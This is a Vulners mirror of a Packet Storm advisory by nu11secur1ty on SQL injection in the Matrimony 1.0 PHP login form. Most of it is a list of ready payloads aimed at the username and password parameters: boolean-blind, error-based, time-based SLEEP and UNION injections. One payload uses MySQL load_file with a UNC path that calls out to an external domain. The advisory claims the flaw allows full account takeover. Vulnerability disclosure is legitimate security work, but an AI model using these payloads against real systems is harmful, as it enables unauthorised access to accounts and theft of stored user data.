Lucene search
K

Matrimony 1.0 SQL Injection

🗓️ 07 Mar 2022 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 267 Views

The Matrimony 1.0 software is vulnerable to SQL injection attacks through the password parameter, allowing an attacker to take control of the administrator and all user accounts, as well as download system information. The injection involves a sub-query that calls MySQL's load_file function with a UNC file path referencing an external domain

Code
`## Title: Matrimony 1.0 SQLi  
## Author: nu11secur1ty  
## Date: 03.05.2022  
## Vendor: https://www.vetbossel.in/matrimony-project-php/  
## Software: https://cutt.ly/LOHzKd0,  
https://www.vetbossel.in/matrimony-project-php/  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony  
  
## Description:  
The password parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'  
was submitted in the password parameter.  
This payload injects a SQL sub-query that calls MySQL's load_file  
function with a UNC file path that references a URL on an external  
domain.  
The application interacted with that domain, indicating that the  
injected SQL query was executed.  
The attacker can take administrator account control and also of all  
accounts on this system,  
also the malicious user can download all information about this system.  
  
Status: CRITICAL  
  
[+] Payloads:  
  
```mysql  
  
---  
Parameter: username (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: username=-5824' OR 4197=4197--  
jrsh&password=i0C!o0b!U4'+(select  
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log  
in  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: username=VbMOEEMf' AND (SELECT 2589 FROM(SELECT  
COUNT(*),CONCAT(0x7178706b71,(SELECT  
(ELT(2589=2589,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--  
gXFR&password=i0C!o0b!U4'+(select  
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log  
in  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=VbMOEEMf' AND (SELECT 4030 FROM  
(SELECT(SLEEP(5)))ciQI)-- nHot&password=i0C!o0b!U4'+(select  
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log  
in  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 1 column  
Payload: username=-4629' UNION ALL SELECT  
CONCAT(0x7178706b71,0x505747504a524d546e7842785156787361686c546c6e695873646952794a545770586447467a4d6b,0x71706a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL--  
-&password=i0C!o0b!U4'+(select  
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log  
in  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony)  
  
## Proof and Exploit:  
[href](https://streamable.com/7gggih)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation